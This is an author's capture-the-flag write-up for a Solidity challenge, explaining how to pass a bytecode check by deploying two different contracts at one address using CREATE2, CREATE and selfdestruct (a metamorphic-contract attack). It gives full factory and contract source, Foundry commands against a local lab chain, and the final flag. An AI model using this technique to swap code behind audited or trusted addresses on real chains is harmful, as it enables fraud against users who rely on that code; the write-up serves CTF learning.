Difficulty | Hard |
---|---|
Flaggerz | Unknown |
Author | Me |
π Challenge’s description
To get the flag, unlock the vault ! But, wait ? Where is the grid ?
π Steps
- Challenge overview
- Understanding metamorphic contracts
- Step 1 : Code the factories
- Step 2 : Deploy the factories
- Step 3 : Code the contract that passes the check
- Step 4 : Deploy the contract that passes the check
- Step 5 : Destroy the contract and the
CreateFactory
- Step 6 : Redeploy the
CreateFactory
and deploy the second contract
π Given file
DoubleTrouble.sol
// Author : Neoreo
// Difficulty : Hard
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
contract DoubleTrouble {
bool public isSolved = false;
mapping(address => bool) public validContracts;
function validate(address _contract) public {
uint256 size;
assembly {
size := extcodesize(_contract)
}
if (size == 0 || size > 5) {
revert("Invalid contract");
}
validContracts[_contract] = true;
}
function flag(address _contract) public {
require(validContracts[_contract], "Given contract has not been validated");
uint256 size;
assembly {
size := extcodesize(_contract)
}
bytes memory code = new bytes(size);
assembly {
extcodecopy(_contract, add(code, 0x20), 0, size)
}
bytes memory keyBytecode = hex"1f1a99ed17babe0000f007b4110000ba5eba110000c0ffee";
require(keccak256(code) == keccak256(keyBytecode),"Both bytecodes don't match");
isSolved = true;
}
}
π Challenge overview
As usual, we can read from the given contract that we’ll have to set isSolved
to true
.
Only two functions are available, and you are probably wondering why this challenge is in the Hard
category.
I’ll explain in detail how it works.
We understand that we’ll have to deploy a contract with a bytecode length between 1
and 5
.
If you are familiar with bytecode, you’ve probably noticed that this is really short for a smart contract.
Bear that in mindβwe’ll need to discuss it further later.
If we can deploy such a contract, it will be validated, which is required to flag the challenge.
The real problem arises now.
How the heck can the contract bytecode be 5 bytes long and at the same time equal to
1f1a99ed17babe0000f007b4110000ba5eba110000c0ffee
?
In fact, it cannot.
The blockchain is immutable, right ? So how is this challenge solvable ?
Here comes the Metamorphic
contract attack.
πΎ Understanding metamorphic contracts
To create and deploy contracts, the EVM can use two opcodes: create
(the default one) and create2
.
Create
Opcode
The create
opcode deploys a contract and computes the address using the deployer’s address and the deployer’s nonce.
Create2
Opcode
The create2
opcode deploys a contract and computes the address using the deployer’s address, a salt, and the hash of the bytecode.
Deploying two contracts at the same address
Based on that, we can, by tricking the EVM deploy two different contracts at the same address.
- We deploy a
Create2Factory
contract with a functiondeploy(salt, bytecode)
that usescreate2
to deploy a contract. - Using the
Create2Factory
, we deploy aCreateFactory
contract with a functiondeploy(bytecode)
that usescreate
to deploy a contract.
So, we use the Create2Factory
to deploy the CreateFactory
. As long as the salt
and the CreateFactory
’s bytecode
remain the same, the CreateFactory
address will remain unchanged.
When a contract is deployed, its nonce
is set to 1
, and that nonce
increments every time the contract deploys another contract.
We can deploy a first Transient
contract, which will be deployed at an address determined by the CreateFactory
address and nonce
.
At this point, the CreateFactory
’s nonce
is 2
, as the CreateFactory
has deployed a contract.
Selfdestruct
Opcode
Before March 2024, the selfdestruct
opcode used to empty the contract’s balance by sending the funds to a given address and purging the contract’s bytecode from the blockchain.
Since March 2024, the balance is still emptied, but the bytecode is no longer purged in order to prevent metamorphic contracts.
But guess what? According to the challenge’s website, the blockchain is based on the Shanghai
hard fork, which was released before this update.
Let me explain
Our problem is that the CreateFactory
’s nonce increments, and using the create2
opcode, we cannot deploy two different bytecodes at the same address.
However, by using selfdestruct
, everything from the contract is wiped, including the nonce
!
That’s pretty cool because we can:
- Deploy the
CreateFactory
using theCreate2Factory
. - Deploy a
Transient
contract (transient1
) using theCreateFactory
. - Destroy the
CreateFactory
to reset its nonce. - Destroy the
Transient
contract. - Redeploy the
CreateFactory
using theCreate2Factory
. Because of thecreate2
opcode, the address will be the same as before. - Deploy another
Transient
contract (transient2
) using theCreateFactory
with the reset nonce. As theCreateFactory
does not depend on the bytecode,transient2
’s address will be the same astransient1
.
π Step 1 : Code the factories
Factories are quite common in the EVM world.
For example, you may have found them on the internet.
Don’t forget to add the selfdestruct()
method to the CreateFactory
, as it is mandatory to exploit the challenge.
CreateFactory.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CreateFactory {
event ContractDeployed(address indexed deployedContract);
function deploy(uint256 amount, bytes memory bytecode) public returns (address deployedContract) {
assembly {
deployedContract := create(amount, add(bytecode, 0x20), mload(bytecode))
if iszero(deployedContract) {
revert(0, 0)
}
}
emit ContractDeployed(deployedContract);
}
function destroy() public{
selfdestruct(payable(msg.sender));
}
}
Create2Factory.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Create2Factory {
event Deployed(address addr);
function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) public payable returns (address addr) {
require(address(this).balance >= amount, "Insufficient funds");
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "Deploy failed");
emit Deployed(addr);
}
function computeAddress(bytes32 salt, bytes32 bytecodeHash) public view returns (address) {
return address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xff),
address(this),
salt,
bytecodeHash
)))));
}
}
π Step 2 : Deploy the factories
Once again, I’ll use Foundry
to solve this challenge.
# Export variables
export RPC=http://localhost/rpc
export PK=0xca11ab1ec0ffee000002a575fa5f74540719ba065a610cba6497cdbf22cd5cdb
export TARGET=0xAC254Af2552c6A32A9766b7865B3f1775f03c770
export ADDR=0x277506E301F0907b9bB7B954eB5B87aad9DABe92
# Deploy the Create2Factory
forge create solve/Create2Factory.sol:Create2Factory -r $RPC --private-key $PK --broadcast
[β ] Compiling...
[β ’] Compiling 1 files with Solc 0.8.28
[β ] Solc 0.8.28 finished in 107.95ms
Compiler run successful!
Deployer: 0x277506E301F0907b9bB7B954eB5B87aad9DABe92
Deployed to: 0xE4eb761E3a75a9ECEF586A1c2A3daDAdCB4f901F
Transaction hash: 0x5c7598b729f08a65ac422b852eb15ba94301665e62122d7e770381e26564742e
# Export the Create2Factory Address
export CREATE2FACTORY=0xE4eb761E3a75a9ECEF586A1c2A3daDAdCB4f901F
# Compile and export the bytecode of the CreateFactory
export CREATEFACTORYBIN=$(forge inspect solve/CreateFactory.sol:CreateFactory bytecode --no-metadata)
# Export a random salt, it could have been whatever you want
export SALT=0x1337000000000000000000000000000000000000000000000000000000001337
# Use the Create2Factory to precompute the future CreateFactory address
cast call $CREATE2FACTORY "computeAddress(bytes32,bytes32)" $SALT $(cast keccak $CREATEFACTORYBIN) -r $RPC
0x000000000000000000000000db3b5f14bbc7d4b4dc0526352cce1b723b6b279e
# Export that address
export CREATEFACTORY=0xdb3b5f14bbc7d4b4dc0526352cce1b723b6b279e
# Deploy the CreateFactory using the Create2Factory
cast send $CREATE2FACTORY "deploy(uint256,bytes32,bytes)" 0 $SALT $CREATEFACTORYBIN -r $RPC --private-key $PK
# [...CROPPED...]
status 1 (success)
# [...CROPPED...]
The deployment seems to have been successful. Let’s make sure the CreateFactory
is present.
cast code $CREATEFACTORY -r $RPC
0x6080604052348015610[...CROPPED...]91505056
Yay ! The contract has been deployed !
βοΈ Step 3 : Code the contract that passes the check
Now that we know the main principle of metamorphic
contracts, we should think about how we are going to pass this check while still being able to destroy the contract.
In fact, a contract like this could work, but the bytecode is waaaaay too long for us, even if we remove the metadata.
foo.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract foo {
function destroy() public{
selfdestruct(payable(msg.sender));
}
}
Here is the corresponding bytecode
# Compiled with : forge inspect foo.sol:foo bytecode --no-metadata
0x6080604052348015600e575f5ffd5b50604b80601a5f395ff3fe6080604052348015600e575f5ffd5b50600436106026575f3560e01c806383197ef014602a575b5f5ffd5b60306032565b005b3373ffffffffffffffffffffffffffffffffffffffff16ff
The way I would have tackled that is by using a decompiler to see what’s happening in the dark.
For example, we can use the banger that is bytegraph.xyz to retrieve the control flow graph of the corresponding bytecode.
TL;DR Understanding the Above Control Flow Graph
When a transaction starts, the smart contract is always executed from the 0x0000
address and then works exactly the same as standard assembly. It reads the next line of code, uses conditional jumps, the stack, and a heap. Exactly the same !
Some patterns are recurrent, and identifying them makes the bytecode much easier to understand.
-
Block
0000-000a
This first block is the entry point of the smart contract. In our case, it’s used to check if the transaction contains ETH. If it does, it jumps to the000b-000d
block and reverts.
That means the contract has nopayable
function. -
Block
000e-0016
This second block is very common. It checks that theCALLDATA
size is less than4
.
The calldata contains the function we want to call and the parameters.
Functions are identified by a selector, which is basically a 4-byte ID, and that’s why it checks for 4 bytes.
If the calldata does not contain a function selector, it jumps to the0026-0029
block and reverts, otherwise, it jumps to the0017-0025
block. -
Block
0017-0025
Once again, this block is present in every traditionally compiled contract.
It loads the calldata and compares it with the function selector ofdestroy()
.
If they don’t match, as the contract doesn’t contain any other functions, it will jump to0026-0029
and revert.
But if both selectors match, it means that we are calling thedestroy()
function. It will jump to thedestroy()
bytecode in002a-004a
. -
Block
002a-004a
This block contains thedestroy()
bytecode detailed below.
Back to Our Business
Keep in mind that the only thing we want is to destroy the contract, nothing else.
In the above Bytegraph output, nothing is particularly interesting except the last part with the selfdestruct
opcode.
- At
0x0032
, theJUMPDEST
opcode does nothing except telling the EVM that it could jump to it safely. - The
CALLER
opcode pushes the address of the caller onto the stack (yes, the EVM uses a stack). - The
PUSH20
opcode pushes20
bytes:ffffffffffffffffffffffffffffffffffffffff
. - The
AND
opcode pops two values from the stack, computes a logicalAND
, and pushes the result back onto the stack. - The
SELFDESTRUCT
opcode pops one value from the stack, sends the contract’s last funds to it, and removes the contract’s bytecode from the blockchain.
Actually, it is possible to remove everything and only keep the last part of the bytecode, but even with that, the bytecode is still too long.
0x5b3373ffffffffffffffffffffffffffffffffffffffff16ff
As the JUMPDEST
does nothing, we can remove it.
We know that an address is 20
bytes, so making the logical AND
is useless; we can remove it.
And here is our magical bytecode of length 2!
0x33ff
Let’s just create a contract that sets its own bytecode to what we want, and BOOM!
Then, to destroy it, we’ll only have to start a transaction with it. No checks are done on the calldata anymore, so we can send whatever calldata we want, and it’ll be destroyed.
Transient1.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Transient1 {
constructor() {
bytes memory bytecode = hex"33ff"; // caller; selfdestruct;
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
βοΈ Step 4 : Deploy the contract that passes the check
# Compile the Transient1 contract and export the bytecode
export TRANSIENT1BIN=$(forge inspect solve/Transient1.sol:Transient1 bytecode --no-metadata)
# Retrieve the CreateFactory's nonce to compute the future transient1's address
export NONCE=$(cast nonce $CREATEFACTORY -r $RPC)
# Compute that address
cast ca $CREATEFACTORY --nonce $NONCE
Computed Address: 0x47B89872AAbc0A33D315fEF9A93f11B2B4b853bD
# Export it
export TRANSIENT1=0x47B89872AAbc0A33D315fEF9A93f11B2B4b853bD
# Deploy the transient contract
cast send $CREATEFACTORY "deploy(uint256,bytes)" 0 $TRANSIENT1BIN -r $RPC --private-key $PK
# [...CROPPED...]
status 1 (success)
transactionHash 0x1c7de0bbb7ae5888b13581f05be7f4d3442b6fbd2e65b9786d15908f535eab18
# [...CROPPED...]
Now that our contract as been deployed, let’s make sure it is present.
cast code $TRANSIENT1 -r $RPC
0x33ff
Hurray ! We passed the first part of the challenge. Let’s validate it.
cast send $TARGET "validate(address)" $TRANSIENT1 -r $RPC --private-key $PK
# [...CROPPED...]
status 1 (success)
transactionHash 0x6050519bec9d6babb7205c05779e8851c0733049a94609462ee840e05cb6dfe0
# [...CROPPED...]
The validation has succeeded; our contract is valid!
π₯ Step 5 : Destroy the contract and the CreateFactory
So, now, all we have to do is clean up our mess.
# Destroy the CreateFactory
cast send $CREATEFACTORY "destroy()" -r $RPC --private-key $PK
# Call the Transient contract to destroy it
cast send $TRANSIENT1 "justcallthecontractwithrandomfunction()" -r $RPC --private-key $PK
# Make sure everything worked fine
cast code $CREATEFACTORY -r $RPC
cast code $TRANSIENT1 -r $RPC
0x
0x
π Step 6 : Redeploy the CreateFactory
and deploy the second contract
As the first step has been completed, we are free to redeploy at the same address.
# Redeploy CreateFactory
cast send $CREATE2FACTORY "deploy(uint256,bytes32,bytes)" 0 $SALT $CREATEFACTORYBIN -r $RPC --private-key $PK
# [...CROPPED...]
status 1 (success)
transactionHash 0x4b9a87a48fac7faa701bc2fd14b928e8c795be67d0deeb8a45ca97fa09ebb1c0
# [...CROPPED...]
Just before deploying the new Transient
contract, we have to write it.
Transient2.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Transient2 {
constructor() {
bytes memory bytecode = hex"1f1a99ed17babe0000f007b4110000ba5eba110000c0ffee";
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
We can compile it and deploy it.
export TRANSIENT2BIN=$(forge inspect solve/Transient2.sol:Transient2 bytecode --no-metadata)
export NONCE=$(cast nonce $CREATEFACTORY -r $RPC)
cast send $CREATEFACTORY "deploy(uint256,bytes)" 0 $TRANSIENT2BIN -r $RPC --private-key $PK
Everything should have worked fine, let’s flag !
cast send $TARGET "flag(address)" $TRANSIENT1 -r $RPC --private-key $PK
cast call $TARGET "isSolved()" -r $RPC
0x0000000000000000000000000000000000000000000000000000000000000001
Challenge solved
Flag : MCTF{ea884d389bb8de6ec0a3764e6aa510f9}
I really enjoyed making those challenges for the Midnight Flag. I hope you enjoyed them as well !